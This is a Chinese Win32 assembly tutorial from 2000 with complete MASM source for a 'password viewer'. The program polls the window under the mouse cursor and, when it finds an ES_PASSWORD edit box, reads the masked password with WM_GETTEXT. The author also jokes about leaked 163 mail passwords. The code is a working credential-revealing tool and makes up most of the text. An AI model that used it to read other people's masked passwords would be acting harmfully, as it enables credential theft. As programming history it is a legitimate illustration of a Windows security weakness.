其实早有所闻 Windows 的马虎,Windows打星号的密码框中的密码实际上是很容易得到的,我以前看到过的资料说是检索屏幕上的窗口,找到有
ES_PASSWORD 风格的就向它发送取消 ES_PASSWORD 的消息,然后刷新它,密码就在原来的地方显示出来了,这儿还有另一个办法,就是找到密码框,直接取得中间的文本。
程序的结构如下: 初始化的时候设置一个定时器,定时时间为0.1秒,然后在定时器消息中利用 GetCursorPos
取得当前鼠标的位置,再利用 WindowFromPoint 取得该位置的窗口句柄,如果成功的话,利用 GetWindowLong 取得窗口的风格,如果窗口有
ES_PASSWORD 风格的话,那么这肯定是个密码框,然后我们向它发送 WM_GETTEXT 消息取得中间的文本就万事大吉了,简单吗?下面是源程序,结合上面的介绍是很好懂的。
最后,如果你的163密码泄密了可不是我的错喔! :-)
源程序:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Programmed by 罗云彬, bigluo@telekbird.com.cn
; Website: http://asm.yeah.net
; LuoYunBin's Win32 ASM page (罗云彬的编程乐园)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 版本信息
; 密码查看器 - 可以查看 ES_PASSWORD 风格的编辑框中的密码
; V1.0 ------ 2000年6月18日
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.MODEL FLAT, STDCALL
option casemap :none ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
INCLUDE WINDOWS.INC
INCLUDE USER32.INC
INCLUDE KERNEL32.INC
INCLUDE COMCTL32.INC
INCLUDE COMDLG32.INC
INCLUDELIB USER32.LIB
INCLUDELIB KERNEL32.LIB
INCLUDELIB COMCTL32.LIB
INCLUDELIB COMDLG32.LIB
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DLG_MAIN EQU 1000
ID_PWD EQU 1001
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.DATA?
HINSTANCE DD ?
SZBUFFER DB 256 DUP (?)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 子程序声明
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
.DATA
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.CODE
INCLUDE WIN.ASM
;********************************************************************
_PROCDLGMAIN PROC USES EBX EDI ESI, \
hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD
LOCAL @STPOINT:POINT
LOCAL @HWINDOW
MOV EAX,WMSG
.IF EAX == WM_CLOSE
INVOKE ENDDIALOG,HWND,NULL
INVOKE KILLTIMER,HWND,1
.ELSEIF EAX == WM_INITDIALOG
INVOKE _CENTERWINDOW,HWND
INVOKE SENDDLGITEMMESSAGE,HWND,ID_PWD,EM_SETREADONLY,TRUE,NULL
INVOKE SETWINDOWPOS,HWND,HWND_TOPMOST,0,0,0,0,\
SWP_NOMOVE OR SWP_NOSIZE
INVOKE SETTIMER,HWND,1,100,NULL
.ELSEIF EAX == WM_TIMER
INVOKE GETCURSORPOS,ADDR @STPOINT
INVOKE WINDOWFROMPOINT,@STPOINT.X,@STPOINT.Y
MOV @HWINDOW,EAX
.IF EAX != NULL
INVOKE GETWINDOWLONG,@HWINDOW,GWL_STYLE
.IF (EAX & ES_PASSWORD)
INVOKE SENDMESSAGE,@HWINDOW,WM_GETTEXT,255,OFFSET SZBUFFER
INVOKE SETDLGITEMTEXT,HWND,ID_PWD,OFFSET SZBUFFER
.ENDIF
.ENDIF
.ELSE
;********************************************************************
; 注意:对话框的消息处理后,要返回 TRUE,对没有处理的消息
; 要返回 FALSE
;********************************************************************
MOV EAX,FALSE
RET
.ENDIF
MOV EAX,TRUE
RET
_PROCDLGMAIN ENDP
;********************************************************************
START:
INVOKE GETMODULEHANDLE,NULL
MOV HINSTANCE,EAX
INVOKE DIALOGBOXPARAM,HINSTANCE,DLG_MAIN,NULL,OFFSET _PROCDLGMAIN,0
INVOKE EXITPROCESS,NULL
END START